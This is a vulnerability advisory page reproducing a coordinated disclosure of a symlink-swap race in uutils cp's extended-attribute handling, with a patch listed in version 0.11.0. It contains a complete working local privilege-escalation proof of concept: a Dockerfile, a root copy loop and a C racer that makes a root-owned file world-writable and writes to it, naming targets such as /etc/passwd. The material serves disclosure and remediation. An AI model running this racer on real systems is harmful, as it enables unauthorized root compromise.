GHSA-8R5F-98WW-C4C5
cp -a chmods through an attacker-swapped destination symlink in copy_extended_attrs (TOCTOU) — an unprivileged user makes an arbitrary root-owned file world-writable
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.11.0 | uu_cp · -4 d desde divulgación | |
| Divulgación | Publicada | GHSA-8R5F-98WW-C4C5 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Hi!
We would like to report a filesystem race condition in uutils/coreutils cp that is
live at current master HEAD. When cp preserves extended attributes (cp -a, or
--preserve=all / --preserve=xattr) it must briefly make a read-only destination
writable. copy_extended_attrs() does this by checking the destination with
fs::symlink_metadata() (an lstat, which does not follow symlinks) and then acting with
fs::set_permissions() (a path-based chmod, which does follow symlinks). An unprivileged
local user who can create entries in the destination directory can atomically swap the
destination between the check and the act, so the privileged chmod is redirected onto a
file the symlink points at and ORs 0o222 (world-write) into its mode. This is the class
GNU coreutils avoids by operating on the open destination descriptor (fchmod); the
identical proof of concept does not affect GNU cp.
This issue was found by Anthropic using Claude, and has been reviewed manually by me
from Ada Logics. A complete, self-contained proof of concept (the project's own cp
binary built from source at HEAD, driven by a root copy loop and an unprivileged
renameat2 racer, with a negative control) is inlined below.
Let me know if you need any more information.
Affected component and versions
-------------------------------
uutils/coreutils, the cp utility — copy_extended_attrs in
src/uu/cp/src/cp.rs. The check/use pair:
fn copy_extended_attrs(source: &Path, dest: &Path, skip_selinux: bool) -> CopyResult<()> {
let metadata = fs::symlink_metadata(dest)?; // CHECK: lstat, does NOT follow
let mut perms = metadata.permissions();
let was_readonly = perms.readonly();
if was_readonly {
perms.set_readonly(false); // mode |= 0o222
fs::set_permissions(dest, perms)?; // USE: path chmod, DOES follow
}
...Present and validated at current master HEAD 67c5e6111a23425a8d94192f6c8fac26cae7eca9
(re-verified against source and reproduced end-to-end 2026-08-04): copy_extended_attrs
still does fs::symlink_metadata(dest) followed by fs::set_permissions(dest) (cp.rs:1742
and :1752 at this commit), not a descriptor-based fchmod. The function is compiled into
every default Linux build (it is gated only on #[cfg(all(unix, not(target_os =
"android")))]), and the code shape exists in every release up to and including 0.10.0,
which per the project policy is the supported release.
Threat model
------------
This is a local privilege escalation, and the privilege split is the important part:
the attacker is unprivileged, the victim is privileged. The preconditions are (a) a
privileged process runs cp -a / --preserve=all / --preserve=xattr with a destination
inside a directory the attacker can write, (b) that directory is not sticky, and (c) the
copied source is read-only (no user-write bit), which is the normal case for archived or
-a-copied content, packaged files, and anything produced by install -m 444 / chmod a-w.
Backup, mirror and deploy jobs of the form cp -a /srv/data /mnt/backup/... or
cp -a /opt/build/out/* /var/www/shared/ fit exactly. Note /tmp (mode 1777) does NOT
qualify, because the sticky bit stops the attacker from replacing root's destination
entry; a plain 0777 or group-writable drop/backup/share directory does.
The unprivileged attacker cannot chmod or write the target file directly (the reproducer
includes a negative control proving both are denied); they obtain that outcome only by
hijacking the privileged cp. So the policy carve-out for "issues requiring an
already-privileged or malicious actor capable of achieving the same outcome directly"
does not apply. No non-default build or option is involved: -a is the flag every
"preserve everything" script uses.
Severity (our reading; we defer to you)
---------------------------------------
High. The primitive is: a privileged process is made to add world-write to a file of the
attacker's choosing (a symlink target), e.g. /etc/passwd, /etc/sudoers.d/*, a root cron
job or systemd unit, or /root/.ssh/authorized_keys; the attacker then writes that file
and executes as uid 0. Your policy's own guidance — "a guard bypass that can hit the
whole filesystem is critical, while a local availability issue bounded by the caller's
existing permissions is low" — arguably supports Critical, since the redirected chmod is
unbounded over the filesystem; we hold at High because the preconditions above are a real
gate. Given those preconditions, exploitation is reliable rather than lucky: the window
is the gap between two adjacent syscalls, the swap is one renameat2(RENAME_EXCHANGE), and
the attacker can wait indefinitely with an inotify watch and retry every invocation. This
matches how the sibling install symlink races were rated (High).
Root cause
----------
copy_extended_attrs identifies the destination by a re-resolvable path and validates it
with a no-follow lstat, then acts on that same path with a follow chmod. lstat cannot see
the situation the chmod walks into, and nothing pins the inode between them:
// src/uu/cp/src/cp.rs — copy_extended_attrs (HEAD line numbers)
let metadata = fs::symlink_metadata(dest)?; // :1742 CHECK: statx(dest, AT_SYMLINK_NOFOLLOW)
let mut perms = metadata.permissions();
let was_readonly = perms.readonly();
if was_readonly {
perms.set_readonly(false); // Permissions::set_readonly(false) ORs 0o222 on Unix
fs::set_permissions(dest, perms)?; // :1752 USE: chmod(dest, mode | 0o222), follows symlinks
}There is no AT_SYMLINK_NOFOLLOW variant of chmod(2); the inode-safe primitive is fchmod on
an already-open descriptor (which cp holds from copy_file), and uucore already ships a
descriptor-based xattr helper whose own doc comment notes the path-based variant "can be
redirected by a concurrent renamer" (mv uses it; cp does not). Because the mode written is
"the target's current mode plus world-write", the value applied to the redirected target
is the single most useful mode change an attacker could ask a root process to make. The
same attribute phase contains further path-based, symlink-following operations on the same
destination (the restore chmod at :1769, the mode set at :1876, and the xattr write), all
reachable in the same window; this report focuses on the copy_extended_attrs chmod.
Reachability / impact
---------------------
copy_extended_attrs is reached by cp -a / --preserve=all / --preserve=xattr on any copy
whose source is read-only, in a default build. The check/use pair captured with strace on
one unraced cp -a (destination /shared/probe) is:
statx(AT_FDCWD, "/shared/probe", ...AT_SYMLINK_NOFOLLOW..., {stx_mode=S_IFREG|0444, ...}) = 0 # CHECK
chmod("/shared/probe", 0100666) = 0 # USE (0444|0222)
If the name resolves to a symlink at the chmod, the 0666 is applied to the symlink target.
It runs in a release build; no sanitizer or debug behaviour is involved. OS mitigations do
not help: fs.protected_symlinks only restricts following symlinks in world-writable STICKY
directories and only for open()-style calls, not chmod() and not the non-sticky directory
this needs; confinement of the victim would help only if it forbade chmod on the target,
which an unconfined root shell or cron job does not.
Reproduction (end-to-end at HEAD, real cp binary vs a symlink-swap racer)
-------------------------------------------------------------------------
The project's own cp binary is built from source at current master HEAD (cargo build -p
uu_cp). A privileged loop runs, per round: refresh a root-owned 0600 victim to a known
clean state, then cp -a a read-only root source into a world-writable non-sticky directory.
An unprivileged racer (uid 1001) waits (inotify IN_CLOSE_WRITE) until cp has finished
writing the data, then for a bounded 30 ms — the attribute phase only, so it never overlaps
the next round's data-open — flips the destination between a regular file and a symlink to
the victim with renameat2(RENAME_EXCHANGE). A win is counted only when the victim gains a
write bit with its size unchanged (a metadata-only chmod, not a content change); on that
win the racer, as uid 1001, writes the now-world-writable root-owned file it could not touch
a moment earlier. This is a logic/TOCTOU bug, so there is no sanitizer — the evidence is the
security violation itself, with a negative control and GNU-divergence framing.
Observed at HEAD 67c5e6111a23425a8d94192f6c8fac26cae7eca9 (full output in
reproducer_output.txt):
-- victim file, root-owned 0600, NOT writable by the attacker:
-rw------- 1 root root 31 /srv/prot/secret
-- negative control: can the attacker touch the victim directly?
chmod: changing permissions of '/srv/prot/secret': Operation not permitted (exit 1)
sh: cannot create /srv/prot/secret: Permission denied (exit 2)
===== structural evidence: the check/use pair in one unraced cp -a =====
statx(AT_FDCWD, "/shared/probe", ...AT_SYMLINK_NOFOLLOW..., {stx_mode=S_IFREG|0444,...}) = 0
chmod("/shared/probe", 0100666) = 0
===== race =====
[attacker] uid=1001 victim=/srv/prot/secret start mode=0600 size=31
[attacker] WON after 1871 cp invocations / 5364778 flips (112.3s):
/srv/prot/secret mode 0600 -> 0666 (size 31, contents intact),
then uid=1001 appended 72 bytes to the root-owned file (it was 0600, un-writable by us)
RACE_WON=1
--- Dockerfile ---
# uutils/coreutils cp(1): xattr-preservation chmod TOCTOU in copy_extended_attrs().
# Archetype A: the project's own shipped `cp` binary, driven by a privileged (root)
# copy loop; an unprivileged local user wins the check/use race and gets root's cp to
# make a root-owned file world-writable. Default = current master HEAD.
# Rebuild at another commit: docker build --build-arg TARGET_COMMIT=<sha> .
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=67c5e6111a23425a8d94192f6c8fac26cae7eca9
ARG RUST_VERSION=1.90.0
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git curl build-essential pkg-config strace attr \
&& rm -rf /var/lib/apt/lists/*
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \
| sh -s -- -y --default-toolchain ${RUST_VERSION} --profile minimal
ENV PATH=/root/.cargo/bin:$PATH
# Clone in its own layer so it caches across TARGET_COMMIT rebuilds; full history.
RUN git clone https://github.com/uutils/coreutils /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
# Build the project's own `cp` binary (release, default features).
RUN cargo build --release -p uu_cp && /src/repo/target/release/cp --version
# Unprivileged local attacker + a world-writable, non-sticky shared directory.
RUN useradd -m -s /bin/sh attacker \
&& mkdir -p /shared && chmod 0777 /shared \
&& mkdir -p /root/src && printf 'payload\n' > /root/src/f && chmod 0444 /root/src/f \
&& setfattr -n user.comment -v hello /root/src/f || true
COPY attacker.c /tmp/attacker.c
RUN gcc -O2 -g -o /usr/local/bin/attacker /tmp/attacker.c \
&& chmod 0755 /usr/local/bin/attacker
COPY run.sh /usr/local/bin/run.sh
RUN chmod 0755 /usr/local/bin/run.sh
CMD ["/bin/sh","-c","/usr/local/bin/run.sh 2>&1; echo EXIT=$?"]--- run.sh ---
#!/bin/sh
# root : each round, refresh a root-owned 0600 victim, then cp -a a read-only
# source into a world-writable non-sticky directory.
# attacker : (uid 1001) wins the lstat->chmod window in copy_extended_attrs() and
# redirects root's chmod onto the victim, then writes it.
# Victim under a 0755 dir so the attacker can lstat it (to detect the win) but
# cannot modify it. Demonstrated on /srv/prot/secret; realistic targets are any
# root-resolvable path (/etc/passwd, /etc/sudoers.d/*, a root cron/unit,
# /root/.ssh/authorized_keys).
set -u
CP=/src/repo/target/release/cp
VICTIM=/srv/prot/secret
mkdir -p /srv/prot && chmod 0755 /srv/prot
echo "===== target under test ====="
git -C /src/repo rev-parse HEAD
$CP --version
echo "-- the check/use pair in copy_extended_attrs() (real line numbers at this commit):"
grep -nE 'fn copy_extended_attrs|symlink_metadata\(dest\)|set_readonly\(false\)|set_permissions\(dest' \
/src/repo/src/uu/cp/src/cp.rs | head
echo; echo "===== environment ====="
echo "-- privileged source file (read-only, root-owned):"; ls -l /root/src/f
echo "-- world-writable, non-sticky destination directory:"; ls -ld /shared
printf 'root-only-secret-do-not-change\n' > "$VICTIM"; chmod 0600 "$VICTIM"
echo "-- victim file, root-owned 0600, NOT writable by the attacker:"; ls -l "$VICTIM"
echo "-- attacker identity:"; su attacker -c 'id'
echo "-- negative control: can the attacker touch the victim directly?"
su attacker -c "chmod 666 $VICTIM" ; echo " chmod-as-attacker exit=$?"
su attacker -c "echo pwned >> $VICTIM"; echo " write-as-attacker exit=$?"
ls -l "$VICTIM"
echo; echo "===== structural evidence: the check/use pair in one unraced cp -a ====="
rm -f /shared/probe
strace -f -e trace=statx,chmod,newfstatat,llistxattr -o /tmp/strace.txt \
$CP -a /root/src/f /shared/probe 2>/dev/null
grep -E '"/shared/probe"' /tmp/strace.txt | tail -6
rm -f /shared/probe
echo "(statx(..., AT_SYMLINK_NOFOLLOW) is the CHECK; the following chmod(path, 0666)"
echo " is the USE — path-based, so it follows a swapped-in symlink.)"
echo; echo "===== race ====="
( i=0
while [ $i -lt 100000 ]; do
# Refresh the victim each round so a data-open that (in some rounds) truncates
# it via the symlink is transient, not permanent — the attacker only needs one
# round where the metadata-chmod window fires WITHOUT the data-open truncation.
printf 'root-only-secret-do-not-change\n' > "$VICTIM" 2>/dev/null; chmod 0600 "$VICTIM" 2>/dev/null
rm -f /shared/dst
$CP -a /root/src/f /shared/dst 2>/dev/null
i=$((i+1)); sleep 0.05
done ) &
LOOP=$!
su attacker -c "/usr/local/bin/attacker /shared dst $VICTIM 180"
RC=$?
kill $LOOP 2>/dev/null; sleep 0.3; rm -f /shared/dst /shared/stage
echo; echo "===== result ====="
if [ "$RC" -eq 0 ]; then
echo "VIOLATION: in one round, root's cp -a redirected its copy_extended_attrs chmod"
echo "through the attacker's symlink and made the root-owned 0600 victim world-writable"
echo "WITHOUT changing its contents (mode 0600 -> 0666, size unchanged); the unprivileged"
echo "attacker then wrote that root-owned file — which the negative control proved it"
echo "cannot do directly. Realistic targets: /etc/passwd, /etc/sudoers.d/*, root cron/units."
echo "RACE_WON=1"
else
echo "RACE_WON=0 (clean chmod win not observed inside the time budget)"
fi
exit 0--- attacker.c ---
// Unprivileged racer for the cp(1) copy_extended_attrs chmod TOCTOU.
// root runs, per round: refresh VICTIM (0600); rm -f DIR/DST; cp -a SRC DIR/DST
// DIR is a non-sticky, attacker-writable dir. cp copies the data, then in its
// attribute phase does: statx(DIR/DST, AT_SYMLINK_NOFOLLOW) [CHECK]; chmod(DIR/DST,
// mode|0222) [USE, follows symlinks]. We wait for cp to finish the DATA (inotify
// IN_CLOSE_WRITE), then flip DIR/DST between a regular file and a symlink to VICTIM
// with renameat2(RENAME_EXCHANGE). If the statx lands on the regular file and the
// chmod a few hundred ns later lands on the symlink, root's chmod is redirected onto
// VICTIM. Isolation: burst only ~30ms (the attribute phase) so we never overlap the
// next round's data-open, always leave DST regular, and count a win only when VICTIM
// gains a write bit with its SIZE UNCHANGED (metadata chmod, not a content overwrite).
// On a win we write VICTIM as our unprivileged uid, proving the escalation.
// Usage: attacker DIR DSTNAME VICTIM [max_seconds]
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif
#define BURST_MS 30.0 // time-bounded burst: stays inside one cp iteration so it
// cannot overlap the NEXT cp's data-open (which would truncate).
static int rename_exchange(int dfd, const char *a, const char *b) {
return syscall(SYS_renameat2, dfd, a, dfd, b, RENAME_EXCHANGE);
}
static int victim_stat(const char *v, mode_t *mode, off_t *size) {
struct stat st;
if (lstat(v, &st) != 0) return -1; // inspect the victim itself, no-follow
if (mode) *mode = st.st_mode & 07777;
if (size) *size = st.st_size;
return 0;
}
// Ensure DST holds the regular file (not the symlink) so the next cp data-open
// cannot follow it and truncate the victim.
static void restore_regular(int dfd, const char *dst, const char *stage) {
struct stat st;
if (fstatat(dfd, dst, &st, AT_SYMLINK_NOFOLLOW) == 0 && S_ISLNK(st.st_mode))
rename_exchange(dfd, dst, stage);
}
static double now_s(void) {
struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_sec + ts.tv_nsec / 1e9;
}
int main(int argc, char **argv) {
if (argc < 4) { fprintf(stderr, "usage: %s DIR DSTNAME VICTIM [max_seconds]\n", argv[0]); return 2; }
const char *dir = argv[1], *dst = argv[2], *victim = argv[3];
double budget = (argc > 4) ? atof(argv[4]) : 120.0;
const char *stage = "stage";
int dfd = open(dir, O_RDONLY | O_DIRECTORY);
if (dfd < 0) { perror("open dir"); return 1; }
int ifd = inotify_init1(0);
if (ifd < 0) { perror("inotify_init1"); return 1; }
if (inotify_add_watch(ifd, dir, IN_CLOSE_WRITE) < 0) { perror("inotify_add_watch"); return 1; }
mode_t start_mode = 0; off_t start_size = 0;
victim_stat(victim, &start_mode, &start_size);
printf("[attacker] uid=%d victim=%s start mode=%04o size=%lld\n",
(int)getuid(), victim, start_mode, (long long)start_size);
fflush(stdout);
double t0 = now_s(); long trials = 0, flips = 0; char buf[4096];
while (now_s() - t0 < budget) {
unlinkat(dfd, stage, 0); // arm: stage = symlink -> victim
if (symlinkat(victim, dfd, stage) != 0 && errno != EEXIST) { perror("symlinkat"); return 1; }
ssize_t n = read(ifd, buf, sizeof buf); // wait for cp to close DST (data done)
if (n <= 0) continue;
int saw = 0;
for (char *p = buf; p < buf + n;) {
struct inotify_event *e = (struct inotify_event *)p;
if (e->len && strcmp(e->name, dst) == 0) saw = 1;
p += sizeof(struct inotify_event) + e->len;
}
if (!saw) continue;
trials++;
double burst_start = now_s(); // time-bounded burst = attribute phase only
for (int i = 0; now_s() - burst_start < BURST_MS / 1000.0; i++) {
if (rename_exchange(dfd, dst, stage) != 0) break;
flips++;
if ((i & 15) == 15) {
mode_t m; off_t sz;
if (victim_stat(victim, &m, &sz) == 0 &&
(m & ~start_mode & 0222) && // gained a write bit
sz == start_size) { // and NOT truncated -> clean chmod win
int vfd = open(victim, O_WRONLY | O_APPEND); // prove: write the root-owned file
if (vfd < 0) continue; // mode already reset by root's refresh
const char *marker = "attacker-write (ANT-2026-86676QR7): uid-1001 wrote this root-owned file\n";
ssize_t w = write(vfd, marker, strlen(marker));
close(vfd);
if (w <= 0) continue;
restore_regular(dfd, dst, stage);
printf("[attacker] WON after %ld cp invocations / %ld flips (%.1fs):\n"
" %s mode %04o -> %04o (size %lld, contents intact),\n"
" then uid=%d appended %zd bytes to the root-owned file "
"(it was 0600, un-writable by us)\n",
trials, flips, now_s() - t0, victim, start_mode, m, (long long)sz, (int)getuid(), w);
fflush(stdout);
return 0;
}
}
}
restore_regular(dfd, dst, stage); // leave DST regular before quiescing
if (trials % 25 == 0) {
mode_t m; off_t sz; victim_stat(victim, &m, &sz);
printf("[attacker] %ld cp invocations, %ld flips, victim mode %04o size %lld\n",
trials, flips, m, (long long)sz);
fflush(stdout);
}
}
mode_t m = 0; off_t sz = 0; victim_stat(victim, &m, &sz);
printf("[attacker] gave up after %.1fs / %ld cp invocations; victim mode %04o size %lld\n",
now_s() - t0, trials, m, (long long)sz);
fflush(stdout);
return 1;
}Build and run:
docker build -t uutils-cp-race docker/
docker run --rm uutils-cp-race
Disclosure
----------
We follow coordinated disclosure policy here:
https://www.anthropic.com/coordinated-vulnerability-disclosure (90 day deadline).
Please credit Claude and Ada Logics -- found by Anthropic using agents to study the
security of open-source projects, with Ada Logics validating and reporting.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iouu_cp |
Corregida | 0.11.0 | -4 d | 0.12.0 no afectada |
0.11.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/uutils/coreutils/security/advisories/GHSA-8r5f-98ww-c4c5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
